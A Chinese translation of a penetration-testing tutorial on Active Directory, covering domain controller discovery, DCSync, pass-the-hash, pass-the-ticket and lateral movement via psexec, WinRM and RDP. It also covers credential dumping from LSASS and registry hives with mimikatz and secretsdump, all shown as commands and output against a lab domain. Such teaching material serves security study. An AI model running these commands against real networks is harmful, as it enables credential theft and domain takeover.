域渗透:攻击活动目录从 0 到 0.9(二)

阅读量244294

|

发布时间 : 2021-08-20 10:00:21

x
译文声明

本文是翻译文章,文章原作者 zer1t0,文章来源:zer1t0.gitlab.io

原文地址:https://zer1t0.gitlab.io/posts/attacking_ad/

译文仅供参考,具体内容表达以及含义原文为准。

域渗透:攻击活动目录从 0 到 0.9(一)

  • 什么是活动目录(Active Directory)?
  • 域(Domain)
    • 域名(Domain name)
  • 林(Forests)
    • 功能级别(Functional Levels)
  • 信任(Trusts)
    • 信任方向(Trust direction)
    • 信任传递性(Trust transitivity)
    • 信任类型(Trust types)
    • 信任密钥(Trust key)
    • 更多的信任相关知识
  • 用户(Users)
    • 用户属性
    • 重要的用户
    • 计算机账户
    • 信任账户(Trust accounts)
  • 组(Groups)
    • 重要的组
    • 组范围

计算机(Computers)

当然,计算机是活动目录的一个核心部分。正如我们所说,它们是发生所有操作的机器,但也是活动目录的用户,需要与域控制器连接。

在每个域中,有三种类型的计算机:

  • Domain Controllers:管理域的中央服务器。它们是 Windows Server 机器。
  • Workstations:人们每天都在使用的个人电脑。通常是 Windows 10 或 7 的机器。
  • Servers:提供诸如网络、文件或数据库等服务的计算机。它们通常是 Linux 或 Windows Server 机器。

 

域控(Domain Controllers)

域控制器是一个域的中心服务器,它运行着活动目录域服务(AD DS)。这意味着它负责维持域数据库中所有关于域对象的信息,并提供活动目录服务,如认证、授权、名称解析等。它是一台 Windows Server 的机器。

该数据库存储在域控制器的 C:\Windows\NTDS\ntds.dit 文件中。因此,如果有人偷了这个文件,就可以访问所有关于域的对象(计算机、用户、组、策略等)的信息,包括用户的凭据。所以对这个文件的访问,以及对域控制器的访问,应该限制在域管理员的范围内。这与域中的任何计算机必须能够与域控制器对话以询问该数据库的信息这一事实形成对比。因此,域控制器(至少是其中之一)应该是可以从网络的任何地方到达的。

通常情况下,一个域中有多个域控制器,以分担工作负载,防止单点故障的发生。此外,与其他数据库服务器一样,域控制器必须相互同步,以保持数据的更新。

为了让计算机和用户能访问数据库数据,域控制器提供了一系列的服务,如 DNS、Kerberos、LDAP、SMB、RPC 等。

域控发现

很明显,域控制器是活动目录中最重要的部分之一,正因为如此,它们经常成为渗透测试的目标,所以识别它们很重要,这并不困难。

由于域控制器提供的服务范围很广,有许多方法来识别一个域的域控制器。

一个可能不需要任何类型的认证的是做一个简单的 DNS 查询,询问该域的 LDAP 服务器(也就是域控制器)。

使用 DNS 查询识别域控:

PS C:\Users\Anakin> nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local
Server:  UnKnown
Address:  192.168.100.2

_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc01.contoso.local
_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc02.contoso.local
dc01.contoso.local      internet address = 192.168.100.2
dc02.contoso.local      internet address = 192.168.100.3

另外,你可以使用一些系统工具,如 nltest 来获取域控制器,但你需要有一个用户。

使用 nltest 识别域控:

PS C:\Users\Anakin> nltest /dclist:contoso.local
Get list of DCs in domain 'contoso.local' from '\\dc01.contoso.local'.
    dc01.contoso.local [PDC]  [DS] Site: Default-First-Site-Name
    dc02.contoso.local        [DS] Site: Default-First-Site-Name
The command completed successfully

如果你对一台机器进行了端口扫描,结果与下面类似,那肯定是一个域控制器:

$ nmap 192.168.100.2 -Pn -sV -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 11:17 CEST
Nmap scan report for 192.168.100.2
Host is up (0.00068s latency).
Not shown: 65509 filtered ports
PORT      STATE SERVICE       VERSION
42/tcp    open  tcpwrapped
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.31 seconds

这个输出显示了很多开放的端口。下面是每个端口所提供的服务的简要描述:

  • 42 => [WINS]:中央服务,用来解析 NetBIOS 名到 IP 地址。
  • 53 => [DNS]:解析 DNS 地址。
  • 88 => [Kerberos]:为用户提供 Kerberos 认证。
  • 135 => [RPC Endpoint Mapper]:用于寻找不同 RPC 服务的 RPC 端点的 RPC 服务。
  • 139 => [NetBIOS] Session Service:Windows 计算机使用的 TCP 的一个旧的替代品。它允许传输 SMB 或 RPC 等协议。
  • 389 => [LDAP]:查询或编辑域数据库。
  • 445 => [SMB]:用来在计算机之间共享文件。也允许通过命名的管道进行 RPC 调用。
  • 464 => [kpasswd]:用于更改用户密码的 Kerberos 服务。
  • 593 => [RPC]:在 HTTP 上的端点映射器。
  • 636 => [LDAPS]:LDAP with SSL。
  • 3268 => [LDAP] [Global Catalog]:查询 Global Catalog 的服务。
  • 3269 => [LDAPS] [Global Catalog]:查询 Global Catalog 的服务 LDAPS。
  • 5985 => [WinRM]:用 CIM 对象或 Powershell remoting 远程管理机器的服务。
  • 9389 => [ADWS]:查询或编辑域数据库的 Web 服务。
  • 49152-65535 [RPC] Endpoints:随机的 RPC 端口,不同的 RPC 服务 / 接口在这里监听客户端。

根据 DC 的配置,你也可以发现 3389 端口开放,它允许 RDP 连接或许多其他服务

Dump 域数据库

如果你成为了域的管理员,你可能想 dump 域控制器数据库的内容,以便读取一些敏感数据,如 krbtgt用户凭证,以便创建金票

为了提取数据库的内容,你可以登录域控制器,用 ntdsutilvssadmin 在本地进行 NTDS Dump,或者你可以用 mimikatz lsadump::dsync 命令或 impacket secretsdump.py 脚本,进行远程 dcsync攻击

发起 DCSync 攻击要小心,因为如果你请求一个大域中的所有凭证,正在响应的 DC 可能会耗尽内存并崩溃!!

DCSync attack with secretsdump to retrieve krbtgt credentials

$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...

 

Windows 计算机

除了域控制器,在一个域中还有许多其他的 Windows 机器,它们既可以作为工作站(通常是Windows 10/8/7/Vista/XP),也可以作为应用服务器(通常是Windows Server 版本)。

Windows 计算机发现

你可以通过使用几种技术来识别一个域或网络中的 Windows 机器。

第一个选择,如果你有域的凭据,可以通过 LDAP 查询域数据库,这可以给你提供计算机名称甚至操作系统。

Search for computers of the domain

$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"
Enter LDAP Password: 
dn: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: dc01.contoso.local

dn: CN=WS01-10,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 10 Enterprise
dNSHostName: ws01-10.contoso.local

dn: CN=WS02-7,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 7 Professional
dNSHostName: WS02-7.contoso.local

dn: CN=SRV01,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: srv01.contoso.local

另一种技术,在你没有凭据的情况下,也可以涉及网络的扫描。Windows 计算机有几个默认开放的端口,在域环境中,它们通常不受防火墙的保护。

例如,NetBIOS 名称服务在 137 端口监听,甚至允许你从 IP 解析 NetBIOS 名称。你可以通过使用 nbtscan 或 nmap nbtstat 脚本等工具进行 NetBIOS 扫描。

NetBIOS 扫描

$ nbtscan 192.168.100.0/24
192.168.100.2   CONTOSO\DC01                    SHARING DC
192.168.100.7   CONTOSO\WS02-7                  SHARING
192.168.100.10  CONTOSO\WS01-10                 SHARING
*timeout (normal end of scan)

另外,在 445 端口监听的一个非常流行的服务是 SMB,大量用于 Windows 计算机之间的通信。

你可以执行端口扫描来发现 Windows 计算机,甚至可以利用 NTLM 认证协商来获取机器名称,如用 ntlm-info 或 nmap smb-os-discovery 脚本进行扫描。

SMB 扫描

$ ntlm-info smb 192.168.100.0/24

Target: 192.168.100.2
NbComputer: DC01
NbDomain: CONTOSO
DnsComputer: dc01.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.17763
OS: Windows 10 | Windows Server 2019 | Windows Server 2016

Target: 192.168.100.7
NbComputer: WS02-7
NbDomain: CONTOSO
DnsComputer: ws02-7.contoso.local
DnsDomain: contoso.local
Version: 6.1.7601
OS: Windows 7 | Windows Server 2008 R2

Target: 192.168.100.10
NbComputer: WS01-10
NbDomain: CONTOSO
DnsComputer: ws01-10.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.19041
OS: Windows 10 | Windows Server 2019 | Windows Server 2016

最后,你还可以用 nmap 扫描其他端口,如 135(RCP)或 139(NetBIOS会话服务)。

连接 Windows 计算机

一旦你发现其他 Windows 机器,你可能需要连接到它们,以获取凭证或数据。

通常情况下,你需要在远程机器上执行命令来完成你的行动。有几个方法可以实现这一点。

用 RPC / SMB 连接

最常见的方法是使用 RPC 与 SMB。这是许多已知的工具所使用的方法,如 PsExec 和 impacket 例子中的 psexec.pywmiexec.py 和其他 *exec.py。

这些工具通常使用一些 RPC 接口来执行命令,并通过 SMB 管道发送/接收命令的输入/输出。这些工具一般只需要打开 445 端口(SMB)就可以执行命令,但有些工具如 wmiexec.py 还需要 135 端口(RPC over TCP)。

此外,这些工具还可以通过使用 NT 或 LM 哈希值来执行 Pass-The-Hash 攻击。impacket 工具有一个参数可以直接使用 NT 或 LM 哈希值,而为了在 PsExec 中使用它,你必须用 mimikatz 在 Windows 会话中注入 NT 哈希值

psexec.py with a NT hash

$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system

这样的话,你就使用了 NTLM 作为认证机制,这可能不是最好的选择,因为在活动目录中默认使用 Kerberos。

要使用 Kerberos,你需要向上述工具提供一个 Kerberos 票据。在 impacket 中,你可以设置一个 ccache 文件给 impacket 使用,而在 Windows 中,你将需要使用 mimikatzRubeus 在会话中注入票据

为了获得可用的 Kerberos 票据,可以通过使用用户密码、NT 哈希值(Overpass-the-Hash)或 Kerberos 密钥(Pass-The-Key)来请求一个票据,或者可以简单地从 Windows 或 Linux 机器上偷一个票据并使用它(Pass-The-Ticket)。

Windows 和 Linux 机器(以及面向它们的工具)使用了不同的票据文件格式,所以 Linux 票据移到 Windows 机器上可能会出现问题,反之亦然。你可以通过使用 ticket_convertercerbero 在不同的格式之间转换票据。

psexec.py with Kerberos authentication

$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>

当使用 Kerberos 认证时,你需要把远程机器的主机名(DNS 名称或 NetBIOS 名称)作为目标传递给工具,而不是其 IP。这是因为 Kerberos 认证使用主机名来识别远程机器的服务,并提供正确的票据来对其进行认证。

如果你使用 IP 地址,你会看到以下错误:

Using IP address with Kerberos authentication

$ psexec.py contoso.local/Anakin@192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

用 Powershell Remoting 连接

除了 RPC / SMB 之外,连接到 Windows 机器的另一种方法是 Powershell Remoting,它可以让你在远程机器上获得一个 Powershell 会话。

Powershell Remoting 服务的监听端口为 5985,在 Windows Server 机器上默认是启用的。

从 Windows 中,你可以通过 Powershell 中的许多 CmdLets 使用 Powershell Remoting。在 Linux 机器上,你可以使用 evil-winrm

和 RPC / SMB 一样,你可以使用密码、NT 哈希或 Kerberos 票据来连接到目标机器。使用 evil-winrm,你可以把它们作为参数传递给应用程序,或者像在 impacket 中那样配置 ccache 文件。如果是 Powershell cmdlets,你可以直接使用密码,但如果你有 Kerberos ticket 或 NT hash,你将需要通过使用 Rubeusmimikatz 注入它们。

Using Powershell Remoting with Overpass-the-Hash

PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
      <!--stripped-->
      ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
      AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/contoso.local
  ServiceRealm          :  CONTOSO.LOCAL
  UserName              :  Administrator
  UserRealm             :  CONTOSO.LOCAL
  StartTime             :  07/05/2021 18:43:26
  EndTime               :  08/05/2021 04:43:26
  RenewTill             :  14/05/2021 18:43:26
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  95a1NmgYXwOmiyCa3qlplA==

PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:

用 RDP 连接

在 Windows 中连接到远程机器的一个常用方法是 RDP(Remote Desktop Protocol)。在 Windows 上,你可以通过默认的客户端“远程桌面连接”(mstsc) 使用 RDP。在 Linux 中,有很好的客户端,如 rdesktopfreerdpremmina。Mac 上可以使用微软官方的 RDP

与 RPC / SMB 和 Powershell Remoting 不同,RDP 将用户明文密码传送到目标计算机,以便缓存凭证并方便 SSO(Single Sign On),就像用户在其物理机器上登录一样。因此,要使用 RDP,你必须使用用户密码,而且默认情况下不可能执行 Pass-The-Hash……

正如我们所提到的,当通过 RDP 连接时(凭证被缓存在目标机中),容易被 mimikatz 之类的工具从 lsass 进程中窃取。缓存凭证是为了在目标机的网络连接中重复使用,但有时这是不必要的,所以微软在 Windows 8.1 / 2012 R2 为 RDP 引入了受限管理模式。当受限管理模式启用时,你不会发送普通凭证,所以有可能执行 Pass-The-Hash/Key/Ticket 来建立一个RDP连接。

在 Linux 中,你可以使用 freerdp 来执行 RDP 的 Pass-The-Hash(你需要安装 freerdp2-x11freerdp2-shadow-x11 软件包,而不是文章所说的 freerdp-x11)。你只需要提供 NT 哈希值而不是密码。

Pass-The-Hash with freerdp

xfreerdp /u:Anakin@contoso.local /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143

在 Windows 中,你可以用 mimikatz 或 Rubeus 注入一个 NT 哈希或 Kerberos 票据,然后用 mstsc.exe /restrictedadmin 建立 RDP 连接,而不需要用户密码。https://shellz.club/pass-the-hash-with-rdp-in-2019/

Restricted Admin is not enabled

Restricted Admin is enabled

Windows 计算机凭据

LSASS 凭据

在 Windows 机器中,一个常见找凭据的地方是 LSASS(Local Security Authority Subsystem Service)进程(lsass.exe)。LSASS 进程负责管理计算机的安全相关操作,包括用户认证。

当用户通过物理访问计算机或通过 RDP?redirectedfrom=MSDN#remote-desktop-users) 在计算机上执行交互式登录时,用户的凭证会被缓存在 LSASS 进程中,以便在需要网络登录时使用 SSO(Single Sign-On)来访问其他域计算机。

请注意,通过 NTLM 或 Kerberos 认证的用户不会缓存凭据到计算机中(除非启用了 Kerberos 委派)。

凭据由 LSASS 使用的一些 SSPs(Security Support Providers)进行缓存,以提供不同的认证方法。下面是一些 SSPs:

  • Kerberos SSP: 管理 Kerberos 认证,负责存储当前登录用户的票据和 Kerberos 密钥。
  • NTLM SSP or MSV SSP:管理 NTLM 认证,负责存储当前登录用户的票据和 NTLM 哈希。
  • Digest SSP:实现了用于 HTTP 应用的 Digest Access protocol。为了计算哈希,这个 SSP 存了用户的明文密码。即使从 Windows 2008 R2 开始,密码缓存在默认情况下被禁用,仍然可以通过设置注册表来启用密码缓存。将 HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 设为 1,或者直接用 mimikatz 在内存中进行 patch

因此,如果我们能够访问 LSASS 进程的内存,由于 lsass 是系统进程,需要 SeDebugPrivilege(通常由管理员持有),我们可以获得缓存的凭证。正如我们所看到的,这些缓存的凭证包括用户的 NT 哈希、Kerberos 密钥和票据,甚至在一些旧的或配置错误的机器上的明文的用户密码。

从 LSASS 进程中提取凭证的常用方法是使用 mimikatz。我们可以在目标机上直接启动 mimikatz,或者用一些工具如 procdumpcomsvcs.dllwerfault.exe 转储LSASS内存,然后用 mimikatz 或 pypikatz 处理转储的这些内存。也可以用 lsassy 远程读取转储,避免下载整个内存转储,这可能需要几兆。

要用 mimikatz 提取凭证,有几个命令你应该知道。它们会从登录的用户那里重试不同的秘密:

  • sekurlsa::logonpasswords:提取 NT 哈希和密码。
  • sekurlsa::ekeys:获取 Kerberos keys。
  • sekurlsa::tickets:获取存在这个机器上的 Kerberos tickets。

强调一下,为了访问 LSASS 进程的内存,你需要 SeDebugPrivilege,它允许用户对其他用户的进程进行调试。通常只有管理员才有这个权限(但如果其他用户得到这个权限,她也可以成为管理员)。

此外,在试图转储 LSASS 内存的进程中,SeDebugPrivilege 必须是开启。默认情况下,在 Powershell 中启用,在 CMD 中禁用(因此在它们的子进程中)。如果你正在启动 mimikatz,你可以通过使用 privilege::debug 命令启用它。在其他情况下,你可以用 Powershell 启动进程,使用 powershell.exe <command>,或者使用一些工具如 sepriv 在 CMD 中启用它。

Dump credentials with mimikatz

C:\>.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 629376 (00000000:00099a80)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CONTOSO
Logon Server      : DC01
Logon Time        : 03/05/2021 12:34:17
SID               : S-1-5-21-1372086773-2238746523-2939299801-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CONTOSO
         * NTLM     : b73fdfe10e87b4ca5c0d957f81de6863
         * SHA1     : 88cbc713492c32909ee5deddee08c7e31c70d716
         * DPAPI    : 0c1e1d360ebc8f790ff9577fcdb60d75
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CONTOSO
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CONTOSO.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

尽管如此,LSASS 可以防止凭证被提取。这可以通过 Credential Guard 来实现,它使用 hypervisor 技术将凭证存储在操作系统之外的一个更安全的地方。然而,Credential Guard 是可以被绕过的。此外,lsass.exe 可以被配置为 PPL(Protected Process Light)运行。即使这使得凭证提取更加困难,它还是可以被禁用

注册表(Registry)凭据

LSA secrets

在注册表中,计算机存储了一些正常工作所需的凭证。其中一个存储敏感凭证的地方是 LSA secrets

LSA is designed for managing a system’s local security policy, auditing, authenticating, logging users on to the system, storing private data.

LSA secrets 是位于注册表中的一个特殊存储空间,用于保存只有 SYSTEM 本地账户才能访问的敏感数据。在磁盘中,LSA secrets 被保存在 SECURITY hive 文件中,该文件是用 BootKey/SysKey(存储在 SYSTEM hive 文件中)加密的。

LSA Secrets keys

PS C:\> whoami
nt authority\system
PS C:\> reg query HKLM\SECURITY\Policy\Secrets

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
    (Default)    REG_NONE

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DefaultPassword
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NL$KM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_mysql

在 LSA secrets 中,你可以找到:

  • Domain Computer Account为了作为域的一部分来工作,计算机需要一个域中的用户账户。因此,这个计算机账户的用户名和密码需要对操作系统可用,所以它们被存储在 LSA secrets 中。另外,你必须知道,该计算机的密码是默认每30天改变一次。这个计算机账户被 SYSTEM 本地账户用来与域交互,但不在本地,因此,这个账户在机器中没有管理权限。然而,即使这个计算机域账户没有管理权限,你也可以用它来创建一个银票或执行 RBCD 攻击,以管理员身份进入机器。
  • Service users passwords为了代表一个用户运行服务,计算机需要存储其密码。然而,用户的密码并没有被存储,而是服务名称,所以你可能需要调查什么是用户名。
  • Auto-logon password如果 windows 自动登录被启用,密码可以被保存在 LSA secrets 中。另一个选择是,保存在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 注册表的键 DefaulUserName 下。域名和用户名总是分别保存在 DefaultDomainNameDefaultUserName 中。
  • DPAPI master keys数据保护 API(DPAPI)用于允许用户对敏感的数据进行加密,而不需要担心加密密钥。如果你能够检索到主密钥,那么你就可以解密用户数据

此外,在 SECURITY hive 文件中,还存储了最后一个登录机器的域用户的凭证,称为域缓存凭证(DCC)。因此,即使与域控制器的连接丢失,计算机也能对域用户进行认证。这种缓存凭证是 MSCACHEV2/MSCASH 哈希值,与 NT 哈希值不同,所以它们不能被用来执行 Pass-The-Hash,但你仍然可以尝试破解它们,以得到用户密码。

SAM

而另一个有凭证的地方是 SAM hive 文件,它包含计算机本地用户的 NT 哈希值。这可能很有用,因为有时组织会在域内计算机中设置相同的本地管理员密码。

Dumping 注册表凭据

为了从 SECURITY 和 SAM hives 中获得凭证,你可以通过使用 mimikatz 从内存中读取它们。

首先你需要执行 token::elevate 来获得一个 SYSTEM 会话,以允许你读取凭证。如果需要的话,还要执行 privilege::debug,以启用 SeDebugPrivilege 特权。然后,你可以执行以下命令,得到不同的凭证:

  • lsadump::secrets: Get the LSA secrets.
  • lsadump::cache: Retrieve the cached domain logons.
  • lsadump::sam: Fetch the local account credentials.

另一种方法是用 reg save 命令保存 hives 文件的副本,将它们移到我们的机器上,最后用 impacket secretsdump 脚本或 mimikatz 获取内容。

首先,你需要 dump 注册表 hive。你将需要 SECURITY 和 SAM hives 文件以及 SYSTEM hive,因为它包含 Boot Key(或 System Key),允许解密 SECURITY 和 SAM hives。

reg command to save registry hives

C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.

C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.

当 hives 被保存,然后将其移到你的本地机器上,用 secretsdump 转储它们。

Secretsdump usage to dump

$ secretsdump.py -system system.bin -security security.bin -sam sam.bin  LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/anakin:$DCC2$10240#anakin#2933cad9235d2f502d7bedc2016e6553
CONTOSO.LOCAL/han:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85
[*] DefaultPassword 
(Unknown User):user
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18
dpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a
[*] NL$KM 
 0000   0B BC 2E DB A1 A7 E2 42  56 6D B8 4B 5A 37 79 A4   .......BVm.KZ7y.
 0010   53 51 75 6D 64 7F 9A BF  DC BF C2 83 F4 64 02 A6   SQumd........d..
 0020   5E E8 53 AB E5 4B 35 A4  5B 19 7E 97 E0 CA 32 6C   ^.S..K5.[.~...2l
 0030   77 68 E8 F1 C0 54 AD 7B  03 F7 BE 59 2E 59 C3 93   wh...T.{...Y.Y..
NL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393
[*] _SC_mysql 
(Unknown User):Solo1234!
[*] Cleaning up...

上面的 Dumping cached domain logon information 部分包含了域缓存凭证,Domain Cached Credentials。为了破解它们,需要以 $DCC2$10240#username#hash 形式进行保存,然后利用 hashcat。

$MACHINE.ACC 部分包含计算机账户密码(用十六进制编码),以及 NT 哈希值。

